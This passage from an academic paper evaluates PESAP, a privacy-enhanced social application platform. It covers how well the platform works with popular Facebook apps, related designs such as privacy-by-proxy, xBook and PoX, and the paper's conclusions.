Analyzing how many real-life applications would remain functional in PESAP can give an important indication on how close PESAP stays to the current distributed design of social application platforms. The most precise evidence would be the fact that real-life applications are available in PESAP. Alas, PESAP has not been published on-line yet, nor did real-life application providers built applications for it. The only applications that are available for PESAP are Roll The Dice and Rock-Paper-Scissors, which are described in the previous section. The fact that these two applications function as expected is already an indication that a lot of similar real-life applications also do.

PESAP contains a lot of similarities to the privacy-by-proxy approach suggested by Felt et al. [13]. Both social application platforms use a protection strategy based on the encryption of entity ids and re-identification. The major difference is that Felt et al. built a solution for the gadget design. The fact that PESAP is built for the distributed design adds some complexity. Despite this difference, the view of an application on the social graph is quite similar in both cases. It only has access to an anonymized framework of the graph and never to the real data fields containing personal information. Although, their study focused on the most popular applications in 2007, we expect that the spectrum and field of social applications have not changed dramatically the last five years.

Felt et al. describe their analysis strategy in the following way:

To conduct the survey we installed each application on a user account with the minimum amount of information filled out. If an application requested more data, broke, or required the interaction of multiple users, we installed it on a fully filled-out second account to observe the difference. We explored the features of each application to look for the appearance of data or use of the social graph. Although it is not possible to determine exactly how an application uses information without access to its source code, the simplicity and limited interactivity of Facebook applications gives us reasonably high confidence that this method captures application functionality well enough to understand their data use.

From their survey they conclude that 9 out of the 150 most popular Facebook applications would not function in their framework. Amongst others they include applications that require the actual date of birth of its users to generate a horoscope on their server. Although outdated, the survey done by Felt et al. indicates that the consequences of the privacy protection mechanism implemented in PESAP will probably not harm the majority of applications, provided they slightly change the user representation part of their implementation.

Because the analysis of Felt et al. is very time consuming and does not provide hard scientific evidence, a more general strategy is followed to analyze the compatibility of PESAP with the current real-life applications. First of all six different types of applications are identified in Table I.

Only applications of type 5 and 6 are not deemed compatible with PESAP. Applications of type 5 generate non-trivial content based on the data of certain fields of personal information. As explained before, horoscopes need to be based on the actual date of birth of a user. Each day, the application will query a horoscope database server with the specific date of birth. This implies that personal information has to leave the browser and those applications will no longer function within PESAP as this is in fact what we want to avoid. Applications of type 6 are complex applications that do not run in the browser, but as a separate stand alone application. Because these applications do not run
inside a browser, they have no possibility to issue valid
re-identification requests and thus they can only use the
anonymized version of the social graph. This will break the
functionality of these applications. Again this is due to the
general objective of PESAP.

To get an idea of how many popular applications belong
to each category, the top 15 most popular Facebook applica-
tions\(^2\) is given in Table II together with their application
type. 3 out of 15 correspond to type 5 or 6 and would no
longer function in PESAP.

Table II: Application type of most popular applications

<table>
<thead>
<tr>
<th>Rank</th>
<th>Application Name</th>
<th>Nb of Monthly Users</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Static html Iframe Tabs</td>
<td>72,800,000</td>
<td>1</td>
</tr>
<tr>
<td>2</td>
<td>CityVille</td>
<td>44,600,000</td>
<td>4</td>
</tr>
<tr>
<td>3</td>
<td>Static iframe tab by woobox</td>
<td>37,400,000</td>
<td>1</td>
</tr>
<tr>
<td>4</td>
<td>Texas Holdem Poker</td>
<td>35,500,000</td>
<td>2</td>
</tr>
<tr>
<td>5</td>
<td>MyCalendar</td>
<td>30,600,000</td>
<td>5</td>
</tr>
<tr>
<td>6</td>
<td>Draw Something by OMGPOP</td>
<td>30,500,000</td>
<td>1</td>
</tr>
<tr>
<td>7</td>
<td>Hidden Chronicles</td>
<td>29,200,000</td>
<td>4</td>
</tr>
<tr>
<td>8</td>
<td>Farmville</td>
<td>28,100,000</td>
<td>4</td>
</tr>
<tr>
<td>9</td>
<td>Castleville</td>
<td>26,600,000</td>
<td>4</td>
</tr>
<tr>
<td>10</td>
<td>Bing</td>
<td>25,500,000</td>
<td>1</td>
</tr>
<tr>
<td>11</td>
<td>Yahoo reader</td>
<td>25,500,000</td>
<td>3</td>
</tr>
<tr>
<td>12</td>
<td>Microsoft Live</td>
<td>23,000,000</td>
<td>6</td>
</tr>
<tr>
<td>13</td>
<td>Yahoo</td>
<td>21,500,000</td>
<td>6</td>
</tr>
<tr>
<td>14</td>
<td>Words With Friends</td>
<td>20,300,000</td>
<td>2</td>
</tr>
<tr>
<td>15</td>
<td>Angry Birds</td>
<td>19,900,000</td>
<td>1</td>
</tr>
</tbody>
</table>

V. RELATED WORK AND FUTURE RESEARCH

As mentioned in the previous section, our work shows a
lot of similarities to an older attempt to create a more private
social application platform by Felt et al. [13]. However, their
design was built for the gadget approach, where the social
application platform was a proxy hosting the application
inside its own pages. This role allowed the social application
platform to analyze the application code and control the
leaking of re-identified information. In practice, they put
constraints on the usage of the already limited subset of
JavaScript, FBJS, in the gadget approach, especially in
combination with the re-identification HTML tags. Although
Felt et al. performed pioneering work in both analyzing
privacy issues for social applications and proposing a privacy
friendly alternative, the social application platforms have
evolved a lot since the publication. The solution of Felt et
al. does not work for the distributed approach.

Another interesting suggestion for a privacy friendly so-
cial application platform is an extensive framework, called
xBook [14], in which the social application platform can
again play its former role as regulating and monitoring
proxy between the application and its users. The idea is to
provide both a server-side container in which applications
can be deployed and a client-side environment to display
the application to the user. Prior to installing the application,
the user is presented with a manifest stating in which
way the application will process and handle her personal
information. By regulating and monitoring all information
streams, xBook then enforces that the personal information
is processed in compliance with the manifest.

A third promising solution for the privacy problems in
social application platforms is called PoX [15]. This solution
is surprisingly simple and maps excellent to the current
distributed design. PoX consists of installing a client-side-
proxy that makes sure that the access token never leaves the
browser. Whenever the application needs to access personal
information, the request passes through the client-side-proxy.
This proxy allows or disallows this request based on an
access-control-list set by the user. Hence, each request for
personal information is made explicit to the user, which
can define a very fine-grained privacy policy. However,
for xBook and PoX assessing the trustworthiness of an
application is still the responsibility of the user, and one
misjudgment can lead to the disclosure of an important part
of the personal information.

All work in the research field of secure information
flow [2], [4] is strongly related to the design of PESAP. In
a sense, PESAP provides a practical application of secure
information flow. To our knowledge, it is the first real-
world application that makes use of secure multi-execution,
a dynamic secure information flow technique [5]. Although
Bielova et al. claim that secure multi-execution in the
browser can in time replace the same origin policy [6], future
research is necessary to allow a simple way of defining a
flow policy for FLOWFOX and to provide means for different
parties to add rules to this policy for the data they provide.
This could for example be done by adding a CORS-like
header to responses injecting data in third party code.

VI. CONCLUSIONS

This paper first explains the privacy issues involved by
granting third party applications access to the social graph

---

\(^2\)The top 15 as found on http://www.appdata.com/ on March 31, 2012
of a social networking site. Next, the distributed design of current social application platforms is discussed. The main goal of the paper is to propose a privacy enhanced social application platform, called PESAP, that protects the privacy of its users when interacting with social applications and maps as close as possible to the current distributed architecture. To the best of our knowledge this is the first successful attempt to design and implement a prototype of such a platform. In the literature, we can find previous proposals for privacy friendly social application platforms, but either they are outdated and are relatively far away from the distributed architecture (Privacy-by-proxy, xBook), or they do not prevent the leaking of personal information of misled users (xBook, PoX). PESAP is supported by two pillars: anonymization of the social graph and secure information flow in a designated browser. Based on the analysis of our prototype we conclude that relatively hard privacy guarantees can be provided in PESAP, without compromising the logical functionality of the majority of the current social applications. Application developers will need to change the way they present personal information to be compliant with PESAP, but this will not harm the functionality of these applications.

ACKNOWLEDGMENT

This research is partially funded by the Research Fund KU Leuven, the EU-funded FP7 projects NESSoS and WebSand and by the IWT-SBO project SPION. Dominique Devriese holds a Ph.D. fellowship of the Research Foundation - Flanders (FWO).

With the financial support from the Prevention of and Fight against Crime Programme of the European Union European Commission – Directorate-General Home Affairs. This publication reflects the views only of the author, and the European Commission cannot be held responsible for any use which may be made of the information contained therein.

REFERENCES


